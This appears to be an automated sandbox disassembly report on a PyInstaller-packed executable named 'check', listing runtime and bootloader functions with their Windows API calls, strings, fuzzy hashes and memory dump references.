Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 276526191d17588ee9fa22b972cdf0953455baf5c8a53fb276b347519b5968a9
Instruction ID: dbb12f0edb880e8ea7f78f380f1b84379de8cdd5e04883d310b37d4d6148ea01
Opcode Fuzzy Hash: 276526191d17588ee9fa22b972cdf0953455baf5c8a53fb276b347519b5968a9
Instruction Fuzzy Hash: 6C31AE21B1EE0291EF529B06A8005ED23A4FF48FB8F694535DD5E863A0DF3CE4688319

Function 00007FF61C4C6360 Relevance: 10.6, APIs: 1, Strings: 6, Instructions: 82COMMON

Download Yara Rule

Strings

Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d), xrefs: 00007FF61C4C63C7
LoadLibrary, xrefs: 00007FF61C4C64AE
Failed to load Python DLL '%ls'., xrefs: 00007FF61C4C64A7
ucrtbase.dll, xrefs: 00007FF61C4C63DD
Path of ucrtbase.dll (%s) and its name exceed buffer size (%d), xrefs: 00007FF61C4C6407
Path of Python shared library (%s) and its name (%s) exceed buffer size (%d), xrefs: 00007FF61C4C6456

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to load Python DLL '%ls'.$LoadLibrary$Path of Python shared library (%s) and its name (%s) exceed buffer size (%d)$Path of ucrtbase.dll (%s) and its name exceed buffer size (%d)$Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d)$ucrtbase.dll
API String ID: 2050909247-2434346643
Opcode ID: bd35b640c02035bc0e077a05b147b005ab0e639f37cafda848bc65a29b3ec2f1
Instruction ID: 80ed211ab7461a9876e6feb528a87bb41710b9ab789d894d6039a1e8adeb8625
Opcode Fuzzy Hash: bd35b640c02035bc0e077a05b147b005ab0e639f37cafda848bc65a29b3ec2f1
Instruction Fuzzy Hash: BF417121A1CE8791EB21DB25E4541ED6321FF44B68FA04132DA5D836A5EF3CF529C748

Function 00007FF61C4C2A50 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 64COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(00000000,?,?,?,00000000,00007FF61C4C351A,?,00000000,00007FF61C4C3F23), ref: 00007FF61C4C2AA0

Strings

Warning, xrefs: 00007FF61C4C2B1E
[PYI-%d:%s] , xrefs: 00007FF61C4C2AA8
0, xrefs: 00007FF61C4C2B16
Warning [ANSI Fallback], xrefs: 00007FF61C4C2B0F
WARNING, xrefs: 00007FF61C4C2AAF

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: CurrentProcess
String ID: 0$WARNING$Warning$Warning [ANSI Fallback]$[PYI-%d:%s]
API String ID: 2050909247-2900015858
Opcode ID: d3ff72078d09a899d0ca032b5bdbc8691629937d026b54217f09319e947088a3
Instruction ID: b9dcef8b819b7d7ec63e0380b3f228c27dd7f9e07d754bcfecae7d1078181276
Opcode Fuzzy Hash: d3ff72078d09a899d0ca032b5bdbc8691629937d026b54217f09319e947088a3
Instruction Fuzzy Hash: 8B21A33261CB8142E720DB55B8407EA6394FB88BA8F500135FE8D93659DF7CD1598744

Function 00007FF61C4DB150 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF61C4DB15F
FlsGetValue.KERNEL32 ref: 00007FF61C4DB174
FlsSetValue.KERNEL32 ref: 00007FF61C4DB195
FlsSetValue.KERNEL32 ref: 00007FF61C4DB1C2
FlsSetValue.KERNEL32 ref: 00007FF61C4DB1D3
FlsSetValue.KERNEL32 ref: 00007FF61C4DB1E4
SetLastError.KERNEL32 ref: 00007FF61C4DB1FF

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: a42b9cf7ed1ffe71ebcf97f5a72f2c90d2921d4b6bb9ef7954fc9d2fe8c6feaf
Instruction ID: c3da792a52eba7e019e229cc44ece676d3d00c15a51a4de0a4a2907cb46b781b
Opcode Fuzzy Hash: a42b9cf7ed1ffe71ebcf97f5a72f2c90d2921d4b6bb9ef7954fc9d2fe8c6feaf
Instruction Fuzzy Hash: 13212F20A0CE4242FB6577269A551BD62525F64FF8F344734D93EC7AC6DD2CB4618300

Function 00007FF61C4E7D6C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF61C4E7D9D
GetLastError.KERNEL32 ref: 00007FF61C4E7DA9
CloseHandle.KERNEL32 ref: 00007FF61C4E7DC1
CreateFileW.KERNEL32 ref: 00007FF61C4E7DEC
WriteConsoleW.KERNEL32 ref: 00007FF61C4E7E0B

Strings

CONOUT$, xrefs: 00007FF61C4E7DCD

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 3755c2f75cb97972cd4ab37a7e27d28fd0bf6f95a56d27d10542fc75f089f0eb
Instruction ID: a02cabb961c1fee191669dc934045a61332540ee63dba3e79a6e2fd3393c22bd
Opcode Fuzzy Hash: 3755c2f75cb97972cd4ab37a7e27d28fd0bf6f95a56d27d10542fc75f089f0eb
Instruction Fuzzy Hash: 2B117F21A1CE4186E760CB56A85836D73A0BB88FF8F214634EA5DC7B94DF3CD8248744

Function 00007FF61C4C8ED0 Relevance: 9.1, APIs: 6, Instructions: 121COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,FFFFFFFF,00000000,00007FF61C4C3FB1), ref: 00007FF61C4C8EFD
K32EnumProcessModules.KERNEL32(?,FFFFFFFF,00000000,00007FF61C4C3FB1), ref: 00007FF61C4C8F5A

Part of subcall function 00007FF61C4C9390: MultiByteToWideChar.KERNEL32(?,?,?,00007FF61C4C45F4,00000000,00007FF61C4C1985), ref: 00007FF61C4C93C9

K32GetModuleFileNameExW.KERNEL32(?,FFFFFFFF,00000000,00007FF61C4C3FB1), ref: 00007FF61C4C8FE5
K32GetModuleFileNameExW.KERNEL32(?,FFFFFFFF,00000000,00007FF61C4C3FB1), ref: 00007FF61C4C9044
FreeLibrary.KERNEL32(?,FFFFFFFF,00000000,00007FF61C4C3FB1), ref: 00007FF61C4C9055
FreeLibrary.KERNEL32(?,FFFFFFFF,00000000,00007FF61C4C3FB1), ref: 00007FF61C4C906A

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: FileFreeLibraryModuleNameProcess$ByteCharCurrentEnumModulesMultiWide
String ID:
API String ID: 3462794448-0
Opcode ID: 0184f5a771bb2c28f933eba3e4018dda16e38d059dd6d010c17659477659ba58
Instruction ID: 5dfb1500ce47b3f65333d77babe0ff151600e06c27d9fa5b99f24d163cc84416
Opcode Fuzzy Hash: 0184f5a771bb2c28f933eba3e4018dda16e38d059dd6d010c17659477659ba58
Instruction Fuzzy Hash: 1B41B066A1DA8281EB309B12A4002FE73A0FB94FE8F154135DF8D977A9DE3DD124C708

Function 00007FF61C4DB2C8 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF61C4D4F11,?,?,?,?,00007FF61C4DA48A,?,?,?,?,00007FF61C4D718F), ref: 00007FF61C4DB2D7
FlsSetValue.KERNEL32(?,?,?,00007FF61C4D4F11,?,?,?,?,00007FF61C4DA48A,?,?,?,?,00007FF61C4D718F), ref: 00007FF61C4DB30D
FlsSetValue.KERNEL32(?,?,?,00007FF61C4D4F11,?,?,?,?,00007FF61C4DA48A,?,?,?,?,00007FF61C4D718F), ref: 00007FF61C4DB33A
FlsSetValue.KERNEL32(?,?,?,00007FF61C4D4F11,?,?,?,?,00007FF61C4DA48A,?,?,?,?,00007FF61C4D718F), ref: 00007FF61C4DB34B
FlsSetValue.KERNEL32(?,?,?,00007FF61C4D4F11,?,?,?,?,00007FF61C4DA48A,?,?,?,?,00007FF61C4D718F), ref: 00007FF61C4DB35C
SetLastError.KERNEL32(?,?,?,00007FF61C4D4F11,?,?,?,?,00007FF61C4DA48A,?,?,?,?,00007FF61C4D718F), ref: 00007FF61C4DB377

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 1c08c83365d44066401784e1b70b71c7670d14ff4fb682678828c33d1612b477
Instruction ID: 80b45933377cab711230cbc7b91839251f07dfaf34de81ec95fc1a77d7beb2c3
Opcode Fuzzy Hash: 1c08c83365d44066401784e1b70b71c7670d14ff4fb682678828c33d1612b477
Instruction Fuzzy Hash: 30111A20A0CE4282FB69B72696511BD62929F64FB8F344734D92ED7AD6DE2CE4719300

Function 00007FF61C4C2910 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 86COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF61C4C1B6A), ref: 00007FF61C4C295E

Strings

Error [ANSI Fallback], xrefs: 00007FF61C4C29FF
%s: %s, xrefs: 00007FF61C4C29E8
[PYI-%d:ERROR] , xrefs: 00007FF61C4C2966
Error, xrefs: 00007FF61C4C2A0E

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: CurrentProcess
String ID: %s: %s$Error$Error [ANSI Fallback]$[PYI-%d:ERROR]
API String ID: 2050909247-2962405886
Opcode ID: b3354eec44a94607d33eb4f3788ab89374ba031f66333e1b118589dca889f3f3
Instruction ID: dc6b82cc04d21814a73791973f06ecd861573c966ca5de28d9d6651c343dd972
Opcode Fuzzy Hash: b3354eec44a94607d33eb4f3788ab89374ba031f66333e1b118589dca889f3f3
Instruction Fuzzy Hash: 6E31E722B1CA8152E720A765A8406FF6394BF88BE8F510131FE8DC3755DF7CD55A8744

Function 00007FF61C4C2390 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF61C4C23C8
DialogBoxIndirectParamW.USER32 ref: 00007FF61C4C248E
DeleteObject.GDI32 ref: 00007FF61C4C24C1
DestroyIcon.USER32 ref: 00007FF61C4C24D3

Strings

Unhandled exception in script, xrefs: 00007FF61C4C23F8

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: DeleteDestroyDialogHandleIconIndirectModuleObjectParam
String ID: Unhandled exception in script
API String ID: 3081866767-2699770090
Opcode ID: 851ce5d4a208b56cb63585478e484d0f9d6918564d04618497f061aba15d8534
Instruction ID: e19a1fe8ba42e552dc326f9d58226207e010ec927e33cf8484cff99a22611644
Opcode Fuzzy Hash: 851ce5d4a208b56cb63585478e484d0f9d6918564d04618497f061aba15d8534
Instruction Fuzzy Hash: 7531637261DE8289EB20EB21E8552FE6360FF88BA8F540135EA4D87B59DF3CD115C704

Function 00007FF61C4C2B50 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 65windowCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,00000000,00000000,FFFFFFFF,00000000,00007FF61C4C918F,?,00007FF61C4C3C55), ref: 00007FF61C4C2BA0
MessageBoxW.USER32 ref: 00007FF61C4C2C2A

Strings

[PYI-%d:%ls] , xrefs: 00007FF61C4C2BA8
Warning, xrefs: 00007FF61C4C2C1D
WARNING, xrefs: 00007FF61C4C2BAF

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: CurrentMessageProcess
String ID: WARNING$Warning$[PYI-%d:%ls]
API String ID: 1672936522-3797743490
Opcode ID: 4a0b6e8ebe13cae449087f655af1d2523953ec7fd560ce9a50e7097f48d063a1
Instruction ID: ab75e1e5dac3a308ced851736f5cbadb63eba2475c1807a255867835ff8e382c
Opcode Fuzzy Hash: 4a0b6e8ebe13cae449087f655af1d2523953ec7fd560ce9a50e7097f48d063a1
Instruction Fuzzy Hash: 7121BF6270CF4142E721DB15F8407EE63A4EB88B98F500136EA8D97A6ADE3CD229C744

Function 00007FF61C4C2710 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 64COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,00000000,00000000,?,00000000,00007FF61C4C1B99), ref: 00007FF61C4C2760

Strings

Error [ANSI Fallback], xrefs: 00007FF61C4C27CF
[PYI-%d:%s] , xrefs: 00007FF61C4C2768
ERROR, xrefs: 00007FF61C4C276F
Error, xrefs: 00007FF61C4C27DE

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: CurrentProcess
String ID: ERROR$Error$Error [ANSI Fallback]$[PYI-%d:%s]
API String ID: 2050909247-1591803126
Opcode ID: a4fe537d534c2fb53088f6f6b76b448a80ccad2508d4dc842b27f1a8247accfc
Instruction ID: 9a4ec2831511299184bc885db5280a0ae84f8263c1bbff6dfebc5d478d14963c
Opcode Fuzzy Hash: a4fe537d534c2fb53088f6f6b76b448a80ccad2508d4dc842b27f1a8247accfc
Instruction Fuzzy Hash: 8C21A332A1CB8142E720DB51B4807EA6394EB88BA8F500135FE8D93659DF7CD1698744

Function 00007FF61C4D9A88 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF61C4D9AAD
GetProcAddress.KERNEL32 ref: 00007FF61C4D9AC3
FreeLibrary.KERNEL32 ref: 00007FF61C4D9AEA

Strings

CorExitProcess, xrefs: 00007FF61C4D9ABC
mscoree.dll, xrefs: 00007FF61C4D9AA4

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: b239dd027a539e56a716c05e535b4da9cb8e2339e08a4dc57142401ef2416000
Instruction ID: 9ffccaafffe375198bf5f911b5059904d33aa53421b3744a9c849be0be047107
Opcode Fuzzy Hash: b239dd027a539e56a716c05e535b4da9cb8e2339e08a4dc57142401ef2416000
Instruction Fuzzy Hash: 98F04F25B0DE4681EB10DB25A4853BE6320AF55BB9F640235DA6EC66E4DF2CD058C314

Function 00007FF61C4E9368 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF61C4E9390
_set_statfp.LIBCMT ref: 00007FF61C4E93AB
_set_statfp.LIBCMT ref: 00007FF61C4E93C7
_set_statfp.LIBCMT ref: 00007FF61C4E9403

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction ID: fca173e895c2634974bf583b8c38ed24ef7eedccf80515e260e7aedb3031b989
Opcode Fuzzy Hash: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction Fuzzy Hash: 9511932AD4CED301F6549557E4913FD1240AF7CB78E2E0634EA6EC62DA8E6C68614300

Function 00007FF61C4DB390 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FF61C4DA5A3,?,?,00000000,00007FF61C4DA83E,?,?,?,?,?,00007FF61C4DA7CA), ref: 00007FF61C4DB3AF
FlsSetValue.KERNEL32(?,?,?,00007FF61C4DA5A3,?,?,00000000,00007FF61C4DA83E,?,?,?,?,?,00007FF61C4DA7CA), ref: 00007FF61C4DB3CE
FlsSetValue.KERNEL32(?,?,?,00007FF61C4DA5A3,?,?,00000000,00007FF61C4DA83E,?,?,?,?,?,00007FF61C4DA7CA), ref: 00007FF61C4DB3F6
FlsSetValue.KERNEL32(?,?,?,00007FF61C4DA5A3,?,?,00000000,00007FF61C4DA83E,?,?,?,?,?,00007FF61C4DA7CA), ref: 00007FF61C4DB407
FlsSetValue.KERNEL32(?,?,?,00007FF61C4DA5A3,?,?,00000000,00007FF61C4DA83E,?,?,?,?,?,00007FF61C4DA7CA), ref: 00007FF61C4DB418

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 44f6b3e63c936746b9124b5af5da9c753e88c88086b63197a25bc1506e4861c0
Instruction ID: 1e4aa4063514ca49fc84f5c9c7d994fdf04cb270933496e62845db1c3ca49383
Opcode Fuzzy Hash: 44f6b3e63c936746b9124b5af5da9c753e88c88086b63197a25bc1506e4861c0
Instruction Fuzzy Hash: AA113D30E0CE4242FB69B72696512FD21515F64FB9F684734E92DD6BD6DE2CE4718300

Function 00007FF61C4DB224 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 00007FF61C4DB235
FlsSetValue.KERNEL32 ref: 00007FF61C4DB254
FlsSetValue.KERNEL32 ref: 00007FF61C4DB27C
FlsSetValue.KERNEL32 ref: 00007FF61C4DB28D
FlsSetValue.KERNEL32 ref: 00007FF61C4DB29E

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 92671db20a050c4f2636db97a8291f7b9cbb2c044339a59ef12305351f814945
Instruction ID: c5bca3ffcc6784d502307be20fc3dd5e9cd32c30e7bc31ec933a08e15defe48b
Opcode Fuzzy Hash: 92671db20a050c4f2636db97a8291f7b9cbb2c044339a59ef12305351f814945
Instruction Fuzzy Hash: F4111525E0CA0742FB79B26649161FE21924F65F38F384B38D93ECAAC2DD2CB4708311

Function 00007FF61C4D5FA0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF61C4D5FDC
_invalid_parameter_noinfo.LIBCMT ref: 00007FF61C4D6106
_invalid_parameter_noinfo.LIBCMT ref: 00007FF61C4D61BC

Strings

verbose, xrefs: 00007FF61C4D5FB0

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: verbose
API String ID: 3215553584-579935070
Opcode ID: 8c3a45f75ca5c0a3459ca2e96ae2fbbf181a3d63a640e770f0a7cf37c7606cec
Instruction ID: 2734ec077a799eadc4db2907eed81fdcae67ff320e5fcc2d3448469b1d6813c1
Opcode Fuzzy Hash: 8c3a45f75ca5c0a3459ca2e96ae2fbbf181a3d63a640e770f0a7cf37c7606cec
Instruction Fuzzy Hash: C791E232A0CE4681F721AE24D4513FD37A1AB64FACF644936DA5E833D6DE3CE8658301
